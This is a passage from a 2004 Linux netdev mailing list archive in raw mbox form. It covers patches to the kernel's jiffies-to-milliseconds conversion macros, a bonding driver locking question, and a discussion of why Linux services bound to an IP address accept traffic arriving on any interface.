(Apple Message framework v613) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Apple-Mail-45-936026051" Message-Id: <61D92BA6-A504-11D8-BD91-000A95CD704C@wagland.net> Content-Transfer-Encoding: 7bit Cc: greg@kroah.com, linux-kernel@vger.kernel.org, jgarzik@pobox.com, Ingo Molnar , netdev@oss.sgi.com, davidel@xmailserver.org, Valdis.Kletnieks@vt.edu, Andrew Morton From: Paul Wagland Subject: Re: MSEC_TO_JIFFIES is messed up... Date: Thu, 13 May 2004 19:38:44 +0200 To: William Lee Irwin III X-Pgp-Agent: GPGMail 1.0.1 (v33, 10.3) X-Mailer: Apple Mail (2.613) X-archive-position: 5123 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: paul@wagland.net Precedence: bulk X-list: netdev --Apple-Mail-45-936026051 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed Nit pick I'm sure... but.... On May 13, 2004, at 0:18, William Lee Irwin III wrote: > Optimize the cases where HZ is a divisor of 1000 or vice-versa in > JIFFIES_TO_MSECS() and MSECS_TO_JIFFIES() by allowing the > nonvanishing(!) > integral ratios to appear as a parenthesized expressions eligible for > constant folding optimizations. > > > -- wli > > > Index: linux-2.5/include/linux/time.h > =================================================================== > --- linux-2.5.orig/include/linux/time.h 2004-05-12 15:04:10.000000000 > -0700 > +++ linux-2.5/include/linux/time.h 2004-05-12 15:12:49.000000000 -0700 > @@ -184,12 +184,12 @@ > * Avoid unnecessary multiplications/divisions in the > * two most common HZ cases: > */ > -#if HZ == 1000 > -# define JIFFIES_TO_MSECS(x) (x) > -# define MSECS_TO_JIFFIES(x) (x) > -#elif HZ == 100 > -# define JIFFIES_TO_MSECS(x) ((x) * 10) > -# define MSECS_TO_JIFFIES(x) (((x) + 9) / 10) > +#if HZ <= 1000 && !(1000 % HZ) > +# define JIFFIES_TO_MSECS(j) ((1000/HZ)*(j)) > +# define MSECS_TO_JIFFIES(m) (((m) + (1000/HZ) - 1)/(1000/HZ)) > +#elif HZ > 1000 && !(HZ % 1000) > +# define JIFFIES_TO_MSECS(j) (((j) + (HZ/1000) - 1)/(HZ/1000)) > +# define MSECS_TO_JIFFIES(m) ((m)*(HZ/1000)) > #else > # define JIFFIES_TO_MSECS(x) (((x) * 1000) / HZ) > # define MSECS_TO_JIFFIES(x) (((x) * HZ + 999) / 1000) Also, can we keep the same parameter name across all of the macros? This changes behaviour when HZ==(z)000 JIFFIES_TO_MSECS goes from ((x) * 1000) / (z)000 to (((x) + (z) - 1)/(z)) i.e. for x=1, z=2 this goes from ((1)*1000)/2000)=0 to (((1)+(2)-1)/2)=1 However, MSECS_TO_JIFFIES remains the same going from (((x) * (z)000 + 999) / 1000) to ((x)*(z)) I.e. they basically reduce down to the same thing (modulo overflows) All of the other permuations look correct to me... Cheers, Paul --Apple-Mail-45-936026051 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFAo7Kotch0EvEFvxURArAUAJwNpR4JSiDhL3UppN0nUK6JAj6P+ACfXGX+ sQEy00pbB2arDZ8XGgg3i0s= =7wHH -----END PGP SIGNATURE----- --Apple-Mail-45-936026051-- From snortwiz@hotmail.com Thu May 13 10:48:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 10:48:44 -0700 (PDT) Received: from hotmail.com (bay15-f10.bay15.hotmail.com [65.54.185.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DHmSKO002605 for ; Thu, 13 May 2004 10:48:28 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 13 May 2004 10:45:11 -0700 Received: from 207.108.40.31 by by15fd.bay15.hotmail.msn.com with HTTP; Thu, 13 May 2004 17:45:11 GMT X-Originating-IP: [207.108.40.31] X-Originating-Email: [snortwiz@hotmail.com] X-Sender: snortwiz@hotmail.com From: "J. M." To: shemminger@osdl.org Cc: niv@us.ibm.com, dlstevens@us.ibm.com, netdev@oss.sgi.com Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Li Date: Thu, 13 May 2004 12:45:11 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 13 May 2004 17:45:11.0740 (UTC) FILETIME=[0A4057C0:01C43912] X-archive-position: 5124 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: snortwiz@hotmail.com Precedence: bulk X-list: netdev >On Linux, IP addresses are not bound to interfaces. You need >to use SO_BINDTODEVICE if that is what you want. IP's are not bound to a specific interface - makes sense to me why the traffic acts the way it acts. >The security model is correct, and well defined, just different than BSD >derived systems. It does conform to the standards (RFC's). The model is logical, may be well defined, and could conform to every applicable RFC - but I would argue that it's got its problems. After all, conforming to RFC's doesn't make something secure and flawless - just look at security flaws in TCP/IP designs over the years that followed the RFC's. :) _________________________________________________________________ Watch LIVE baseball games on your computer with MLB.TV, included with MSN Premium! http://join.msn.com/?page=features/mlb&pgmarket=en-us/go/onm00200439ave/direct/01/ From sri@us.ibm.com Thu May 13 10:57:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 10:57:47 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DHvMKO003078 for ; Thu, 13 May 2004 10:57:23 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4DHux5I415796; Thu, 13 May 2004 13:56:59 -0400 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4DHvWl2102550; Thu, 13 May 2004 13:57:33 -0400 Date: Thu, 13 May 2004 10:56:57 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Stephen Hemminger cc: "J. M." , niv@us.ibm.com, dlstevens@us.ibm.com, netdev@oss.sgi.com Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Li In-Reply-To: <20040513103139.08ebc779@dell_ss3.pdx.osdl.net> Message-ID: References: <20040513103139.08ebc779@dell_ss3.pdx.osdl.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5125 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev But if a service is bound to a particular ip address, i guess requests coming on other ip addresses will not be accepted. For ex: i have 2 hosts with the following set of ip addresses. host1: 10.1.1.19, 10.1.2.19 host2: 10.1.1.20, 10.1.2.20 I ran iperf -B 10.1.1.19 -s on host1 Here we are binding iperf to a particular ip address: 10.1.1.19 From host2 i tried, iperf -c 10.1.1.20 and it failed as expected. Is this different from the scenario raised in the original bug report? Thanks Sridhar On Thu, 13 May 2004, Stephen Hemminger wrote: > On Thu, 13 May 2004 12:20:34 -0500 > "J. M." wrote: > > > That's exactly what's happening - a service bound to an interface is > > receiving traffic via a different interface. That could pose security risks > > on a dual-homed machine (such as the device I pen-tested and discovered this > > flaw upon). > > > > -Jared > > On Linux, IP addresses are not bound to interfaces. You need > to use SO_BINDTODEVICE if that is what you want. > > The security model is correct, and well defined, just different than BSD > derived systems. It does conform to the standards (RFC's). > > From dlstevens@us.ibm.com Thu May 13 11:11:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 11:11:11 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DIB0KO004010 for ; Thu, 13 May 2004 11:11:01 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4DIAjWv042942; Thu, 13 May 2004 14:10:45 -0400 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4DIAhGR170766; Thu, 13 May 2004 12:10:44 -0600 In-Reply-To: <20040513103139.08ebc779@dell_ss3.pdx.osdl.net> To: Stephen Hemminger Cc: netdev@oss.sgi.com, niv@us.ibm.com, "J. M." MIME-Version: 1.0 Subject: Re: OSDL Bugzilla #2399: A user can remotely route a packet through eth0 on a Li X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Thu, 13 May 2004 12:10:41 -0600 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 05/13/2004 12:10:43, Serialize complete at 05/13/2004 12:10:43 Content-Type: text/plain; charset="US-ASCII" X-archive-position: 5126 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Stephen Hemminger wrote on 05/13/2004 10:31:39 AM: > The security model is correct, and well defined, just different than BSD > derived systems. It does conform to the standards (RFC's). Stephen, This is not different from BSD behavior. IP has always used the weak end-system model. The question for delivery is "is the destination address a local address" (not just on the receiving interface). See WRS "TCP/IP Illustrated" for relevant BSD code. Re: security, Jared. If you want to restrict it, you can use netfilter rules to drop packets targeted to the back-side interface of the one you're receiving them on. bind() selects packets whose destination address matches-- doesn't matter what interface they come in on. So, bind() simply isn't the mechanism you want if you want it to be restricted to a particular interface. +-DLS From fubar@us.ibm.com Thu May 13 11:45:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 11:45:38 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DIjYKO004791 for ; Thu, 13 May 2004 11:45:35 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4DIjTfQ589440; Thu, 13 May 2004 14:45:29 -0400 Received: from death.nxdomain.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4DIjvaq065852; Thu, 13 May 2004 14:45:58 -0400 Received: from death.nxdomain.ibm.com (localhost [127.0.0.1]) by death.nxdomain.ibm.com (8.12.8/8.12.8) with ESMTP id i4DIill7018366; Thu, 13 May 2004 11:44:48 -0700 Received: from death (fubar@localhost) by death.nxdomain.ibm.com (8.12.8/8.12.8/Submit) with ESMTP id i4DIijD3018359; Thu, 13 May 2004 11:44:47 -0700 Message-Id: <200405131844.i4DIijD3018359@death.nxdomain.ibm.com> To: Andi Kleen cc: netdev@oss.sgi.com Subject: Re: PATCH: bonding might sleep with lock held In-Reply-To: Message from Andi Kleen of "Thu, 13 May 2004 10:20:53 +0200." <20040513082053.GC27682@wotan.suse.de> X-Mailer: MH-E 7.4.3; nmh 1.0.4; GNU Emacs 21.3.1 Date: Thu, 13 May 2004 11:44:45 -0700 From: Jay Vosburgh X-archive-position: 5127 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev Andi Kleen wrote: [...] >> This patch replaces dev_remove_pack() with __dev_remove_pack() >> and adds a synchronize_net() call outside the lock. The patch is >> against 2.6.5, but applied to 2.6.6 for me. > >I would rather fix bond_close to not call this with the lock hold. >You can just move the call a few lines up. dev->close has own >synchronization anyways and dev_remove_pack has a lock too, so this >should be safe. It will race against the timers, although I don't see anything in there offhand that would conflict. It just feels somehow unclean to do it without the lock. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From ak@suse.de Thu May 13 12:04:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 12:05:04 -0700 (PDT) Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DJ4qKO005390 for ; Thu, 13 May 2004 12:04:53 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 765905A575E; Thu, 13 May 2004 21:04:46 +0200 (CEST) Date: Thu, 13 May 2004 21:04:45 +0200 From: Andi Kleen To: Jay Vosburgh Cc: netdev@oss.sgi.com Subject: Re: PATCH: bonding might sleep with lock held Message-Id: <20040513210445.3e08c1f4.ak@suse.de> In-Reply-To: <200405131844.i4DIijD3018359@death.nxdomain.ibm.com> References: <20040513082053.GC27682@wotan.suse.de> <200405131844.i4DIijD3018359@death.nxdomain.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5128 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Thu, 13 May 2004 11:44:45 -0700 Jay Vosburgh wrote: > It will race against the timers, although I don't see anything > in there offhand that would conflict. It just feels somehow unclean to > do it without the lock. Why should the timers care if there can be a packet received from the network or not? (this is all what dev_remove_pack prevents) -Andi From akpm@osdl.org Thu May 13 12:13:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 12:13:21 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DJDHKO005915 for ; Thu, 13 May 2004 12:13:18 -0700 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i4DJC7J27749; Thu, 13 May 2004 12:12:07 -0700 Date: Thu, 13 May 2004 12:11:41 -0700 From: Andrew Morton To: Paul Wagland Cc: wli@holomorphy.com, greg@kroah.com, linux-kernel@vger.kernel.org, jgarzik@pobox.com, mingo@elte.hu, netdev@oss.sgi.com, davidel@xmailserver.org, Valdis.Kletnieks@vt.edu Subject: Re: MSEC_TO_JIFFIES is messed up... Message-Id: <20040513121141.37f32035.akpm@osdl.org> In-Reply-To: <61D92BA6-A504-11D8-BD91-000A95CD704C@wagland.net> References: <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <20040512140729.476ace9e.akpm@osdl.org> <20040512211748.GB20800@elte.hu> <20040512221823.GK1397@holomorphy.com> <61D92BA6-A504-11D8-BD91-000A95CD704C@wagland.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5129 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Paul Wagland wrote: > > > -#if HZ == 1000 > > -# define JIFFIES_TO_MSECS(x) (x) > > -# define MSECS_TO_JIFFIES(x) (x) > > -#elif HZ == 100 > > -# define JIFFIES_TO_MSECS(x) ((x) * 10) > > -# define MSECS_TO_JIFFIES(x) (((x) + 9) / 10) > > +#if HZ <= 1000 && !(1000 % HZ) > > +# define JIFFIES_TO_MSECS(j) ((1000/HZ)*(j)) > > +# define MSECS_TO_JIFFIES(m) (((m) + (1000/HZ) - 1)/(1000/HZ)) > > +#elif HZ > 1000 && !(HZ % 1000) > > +# define JIFFIES_TO_MSECS(j) (((j) + (HZ/1000) - 1)/(HZ/1000)) > > +# define MSECS_TO_JIFFIES(m) ((m)*(HZ/1000)) > > #else > > # define JIFFIES_TO_MSECS(x) (((x) * 1000) / HZ) > > # define MSECS_TO_JIFFIES(x) (((x) * HZ + 999) / 1000) > > Also, can we keep the same parameter name across all of the macros? Fair enough. --- 25/include/linux/time.h~MSEC_TO_JIFFIES-fixups-tidy 2004-05-13 12:09:27.463273344 -0700 +++ 25-akpm/include/linux/time.h 2004-05-13 12:09:41.300169816 -0700 @@ -191,8 +191,8 @@ struct timezone { # define JIFFIES_TO_MSECS(j) (((j) + (HZ/1000) - 1)/(HZ/1000)) # define MSECS_TO_JIFFIES(m) ((m)*(HZ/1000)) #else -# define JIFFIES_TO_MSECS(x) (((x) * 1000) / HZ) -# define MSECS_TO_JIFFIES(x) (((x) * HZ + 999) / 1000) +# define JIFFIES_TO_MSECS(j) (((j) * 1000) / HZ) +# define MSECS_TO_JIFFIES(m) (((m) * HZ + 999) / 1000) #endif /* > This changes behaviour when HZ==(z)000 > > JIFFIES_TO_MSECS goes from > ((x) * 1000) / (z)000 to (((x) + (z) - 1)/(z)) > > i.e. for x=1, z=2 this goes from ((1)*1000)/2000)=0 to (((1)+(2)-1)/2)=1 hm, so you're saying that we now round 0.5 up to 1 rather than down to zero? > However, MSECS_TO_JIFFIES remains the same going from > (((x) * (z)000 + 999) / 1000) to ((x)*(z)) > > I.e. they basically reduce down to the same thing (modulo overflows) > > All of the other permuations look correct to me... From fubar@us.ibm.com Thu May 13 12:35:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 12:35:49 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DJZaKO009584 for ; Thu, 13 May 2004 12:35:43 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4DJZU87575334 for ; Thu, 13 May 2004 15:35:30 -0400 Received: from death.nxdomain.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4DJZSGR205430 for ; Thu, 13 May 2004 13:35:29 -0600 Received: from death.nxdomain.ibm.com (localhost [127.0.0.1]) by death.nxdomain.ibm.com (8.12.8/8.12.8) with ESMTP id i4DJYnl7018525 for ; Thu, 13 May 2004 12:34:49 -0700 Received: from death (fubar@localhost) by death.nxdomain.ibm.com (8.12.8/8.12.8/Submit) with ESMTP id i4DJYnk6018519 for ; Thu, 13 May 2004 12:34:49 -0700 Message-Id: <200405131934.i4DJYnk6018519@death.nxdomain.ibm.com> To: netdev@oss.sgi.com Subject: Re: PATCH: bonding might sleep with lock held In-Reply-To: Your message of "Thu, 13 May 2004 21:04:45 +0200." <20040513210445.3e08c1f4.ak@suse.de> X-Mailer: MH-E 7.4.3; nmh 1.0.4; GNU Emacs 21.3.1 Date: Thu, 13 May 2004 12:34:49 -0700 From: Jay Vosburgh X-archive-position: 5130 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev Andi Kleen wrote: >On Thu, 13 May 2004 11:44:45 -0700 >Jay Vosburgh wrote: > >> It will race against the timers, although I don't see anything >> in there offhand that would conflict. It just feels somehow unclean to >> do it without the lock. > >Why should the timers care if there can be a packet received from the >network or not? (this is all what dev_remove_pack prevents) The concern I had was that the timers might modify the fields of the bonding structure accessed outside the lock, but they don't. -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From paul@kungfoocoder.org Thu May 13 12:50:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 12:50:29 -0700 (PDT) Received: from smtp-out2.xs4all.nl (smtp-out2.xs4all.nl [194.109.24.12]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DJoOKO010149 for ; Thu, 13 May 2004 12:50:25 -0700 Received: from umlsmtp.wagland.net (kungfucoder.org [80.126.186.202]) by smtp-out2.xs4all.nl (8.12.10/8.12.10) with ESMTP id i4DJo8RE065930; Thu, 13 May 2004 21:50:08 +0200 (CEST) Received: from [10.87.98.190] (unknown [10.87.98.190]) by umlsmtp.wagland.net (Postfix) with ESMTP id E1CA43A; Thu, 13 May 2004 21:50:07 +0200 (CEST) In-Reply-To: <20040513121141.37f32035.akpm@osdl.org> References: <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <20040512140729.476ace9e.akpm@osdl.org> <20040512211748.GB20800@elte.hu> <20040512221823.GK1397@holomorphy.com> <61D92BA6-A504-11D8-BD91-000A95CD704C@wagland.net> <20040513121141.37f32035.akpm@osdl.org> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Apple-Mail-46-943942460" Message-Id: Content-Transfer-Encoding: 7bit Cc: greg@kroah.com, linux-kernel@vger.kernel.org, mingo@elte.hu, jgarzik@pobox.com, netdev@oss.sgi.com, wli@holomorphy.com, davidel@xmailserver.org, Valdis.Kletnieks@vt.edu From: Paul Wagland Subject: Re: MSEC_TO_JIFFIES is messed up... Date: Thu, 13 May 2004 21:50:41 +0200 To: Andrew Morton X-Pgp-Agent: GPGMail 1.0.1 (v33, 10.3) X-Mailer: Apple Mail (2.613) X-archive-position: 5131 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: paul@kungfoocoder.org Precedence: bulk X-list: netdev --Apple-Mail-46-943942460 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On May 13, 2004, at 21:11, Andrew Morton wrote: > Paul Wagland wrote: >> This changes behaviour when HZ==(z)000 >> >> JIFFIES_TO_MSECS goes from >> ((x) * 1000) / (z)000 to (((x) + (z) - 1)/(z)) >> >> i.e. for x=1, z=2 this goes from ((1)*1000)/2000)=0 to >> (((1)+(2)-1)/2)=1 > > hm, so you're saying that we now round 0.5 up to 1 rather than down to > zero? More precisely, we round .x up, where before it was rounded down, but yeah, _and_ only when HZ is a multiple of 1000, and greater than 1000. This is also only the case for the patch as proposed by wli, currently I don't know of any architectures that have a HZ of 2000 or more... but I just note that it _is_ a behaviour change in those cases, whether or not it is important is for other people to decide :-) Cheers, Paul --Apple-Mail-46-943942460 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFAo9GRtch0EvEFvxURAhORAJ4gYSRI0mv2qgrEBqqWSAsJ9IVVoACgl9eP 801yhelPMICs2UkqMg82H4s= =snV2 -----END PGP SIGNATURE----- --Apple-Mail-46-943942460-- From akpm@osdl.org Thu May 13 15:38:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 15:38:52 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DMclKO016756 for ; Thu, 13 May 2004 15:38:48 -0700 Received: from akpm.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4DMbOJ31286; Thu, 13 May 2004 15:37:24 -0700 Date: Thu, 13 May 2004 15:40:02 -0700 From: Andrew Morton To: Jeff Garzik Cc: paul@wagland.net, mingo@elte.hu, wli@holomorphy.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, davidel@xmailserver.org, Valdis.Kletnieks@vt.edu Subject: Re: MSEC_TO_JIFFIES is messed up... Message-Id: <20040513154002.4988b7f2.akpm@osdl.org> In-Reply-To: <40A3CA34.60202@pobox.com> References: <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <20040512140729.476ace9e.akpm@osdl.org> <20040512211748.GB20800@elte.hu> <20040512221823.GK1397@holomorphy.com> <61D92BA6-A504-11D8-BD91-000A95CD704C@wagland.net> <20040513121141.37f32035.akpm@osdl.org> <40A3CA34.60202@pobox.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5132 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Jeff Garzik wrote: > > For whomever winds up doing this work, I have two requests: > > * use a type-safe inline rather than purely a macro, as some drivers do > * replace msecs_to_jiffies() occurrences as well as MSECS_TO_JIFFIES() > (and ditto for jiffies_to_msecs) Use typesafe inlines for the jiffies-to-millisecond conversion functions. This means that milliseconds officially takes the type `unsigned int'. All current callers seem to be OK with that. Drivers need to be fixed up to use this instead of their private versions. --- 25-akpm/include/linux/time.h | 25 +++++++++++++++++++------ 1 files changed, 19 insertions(+), 6 deletions(-) diff -puN include/linux/time.h~MSEC_TO_JIFFIES-inline include/linux/time.h --- 25/include/linux/time.h~MSEC_TO_JIFFIES-inline Thu May 13 15:13:19 2004 +++ 25-akpm/include/linux/time.h Thu May 13 15:23:58 2004 @@ -184,16 +184,29 @@ struct timezone { * Avoid unnecessary multiplications/divisions in the * two most common HZ cases: */ +static inline unsigned int jiffies_to_msecs(unsigned long j) +{ #if HZ <= 1000 && !(1000 % HZ) -# define JIFFIES_TO_MSECS(j) ((1000/HZ)*(j)) -# define MSECS_TO_JIFFIES(m) (((m) + (1000/HZ) - 1)/(1000/HZ)) + return (1000 / HZ) * j; #elif HZ > 1000 && !(HZ % 1000) -# define JIFFIES_TO_MSECS(j) (((j) + (HZ/1000) - 1)/(HZ/1000)) -# define MSECS_TO_JIFFIES(m) ((m)*(HZ/1000)) + return (j + (HZ / 1000) - 1)/(HZ / 1000); #else -# define JIFFIES_TO_MSECS(j) (((j) * 1000) / HZ) -# define MSECS_TO_JIFFIES(m) (((m) * HZ + 999) / 1000) + return (j * 1000) / HZ; #endif +} +static inline unsigned long msecs_to_jiffies(unsigned int m) +{ +#if HZ <= 1000 && !(1000 % HZ) + return (m + (1000 / HZ) - 1) / (1000 / HZ); +#elif HZ > 1000 && !(HZ % 1000) + return m * (HZ / 1000); +#else + return (m * HZ + 999) / 1000; +#endif +} + +#define JIFFIES_TO_MSECS(j) jiffies_to_msecs(j) +#define MSECS_TO_JIFFIES(m) msecs_to_jiffies(m) /* * The TICK_NSEC - 1 rounds up the value to the next resolution. Note _ From akpm@osdl.org Thu May 13 15:38:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 13 May 2004 15:38:58 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4DMcsKO016761 for ; Thu, 13 May 2004 15:38:54 -0700 Received: from akpm.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4DMc3J31489; Thu, 13 May 2004 15:38:03 -0700 Date: Thu, 13 May 2004 15:40:40 -0700 From: Andrew Morton To: jgarzik@pobox.com, paul@wagland.net, mingo@elte.hu, wli@holomorphy.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, davidel@xmailserver.org, Valdis.Kletnieks@vt.edu Subject: Re: MSEC_TO_JIFFIES is messed up... Message-Id: <20040513154040.6acc8121.akpm@osdl.org> In-Reply-To: <20040513154002.4988b7f2.akpm@osdl.org> References: <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <20040512140729.476ace9e.akpm@osdl.org> <20040512211748.GB20800@elte.hu> <20040512221823.GK1397@holomorphy.com> <61D92BA6-A504-11D8-BD91-000A95CD704C@wagland.net> <20040513121141.37f32035.akpm@osdl.org> <40A3CA34.60202@pobox.com> <20040513154002.4988b7f2.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5133 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: 